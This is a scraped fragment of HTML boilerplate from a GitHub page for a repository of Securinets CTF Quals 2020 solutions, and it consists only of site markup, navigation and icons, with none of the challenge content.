content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Few of the challenges I was able to solve from this CTF - Securinets-CTF-Quals-2020/unc at master · dosxuz/Securinets-CTF-Quals-2020"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f419b5245ba2aae85972419179ddbddbdbd2245bb6cc752f14eb6a1b3574acf6/dosxuz/Securinets-CTF-Quals-2020" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Securinets-CTF-Quals-2020/unc at master · dosxuz/Securinets-CTF-Quals-2020" /><meta name="twitter:description" content="Few of the challenges I was able to solve from this CTF - Securinets-CTF-Quals-2020/unc at master · dosxuz/Securinets-CTF-Quals-2020" /> <meta property="og:image" content="https://opengraph.githubassets.com/f419b5245ba2aae85972419179ddbddbdbd2245bb6cc752f14eb6a1b3574acf6/dosxuz/Securinets-CTF-Quals-2020" /><meta property="og:image:alt" content="Few of the challenges I was able to solve from this CTF - Securinets-CTF-Quals-2020/unc at master · dosxuz/Securinets-CTF-Quals-2020" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Securinets-CTF-Quals-2020/unc at master · dosxuz/Securinets-CTF-Quals-2020" /><meta property="og:url" content="https://github.com/dosxuz/Securinets-CTF-Quals-2020" /><meta property="og:description" content="Few of the challenges I was able to solve from this CTF - Securinets-CTF-Quals-2020/unc at master · dosxuz/Securinets-CTF-Quals-2020" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/dosxuz/Securinets-CTF-Quals-2020 git https://github.com/dosxuz/Securinets-CTF-Quals-2020.git"> <meta name="octolytics-dimension-user_id" content="57105533" /><meta name="octolytics-dimension-user_login" content="dosxuz" /><meta name="octolytics-dimension-repository_id" content="249339878" /><meta name="octolytics-dimension-repository_nwo" content="dosxuz/Securinets-CTF-Quals-2020" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="249339878" /><meta name="octolytics-dimension-repository_network_root_nwo" content="dosxuz/Securinets-CTF-Quals-2020" /> <link rel="canonical" href="https://github.com/dosxuz/Securinets-CTF-Quals-2020/tree/master/unc" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="249339878" data-scoped-search-url="/dosxuz/Securinets-CTF-Quals-2020/search" data-owner-scoped-search-url="/users/dosxuz/search" data-unscoped-search-url="/search" data-turbo="false" action="/dosxuz/Securinets-CTF-Quals-2020/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="nAh2ASZmbmFov5cQmduZXhkV7EEZKxhtJJbRLNntPdOupddPxJVd7k/a2MFgMYFP01H7NX+au26J5S9FTpZc7w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 